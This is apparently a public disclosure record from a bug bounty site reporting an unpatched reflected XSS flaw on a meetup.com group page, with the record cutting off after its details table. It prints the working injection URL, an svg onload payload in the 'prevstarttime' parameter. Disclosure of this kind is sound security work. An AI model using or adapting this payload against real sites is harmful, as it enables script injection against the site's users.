meetup.com XSS vulnerability

Vulnerable URL: https://www.meetup.com/LangleyandSurreyActivites/?prevstarttime="%3E%3Csvg onload = alertOPENBUGBOUNTY id=" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 566 VIP...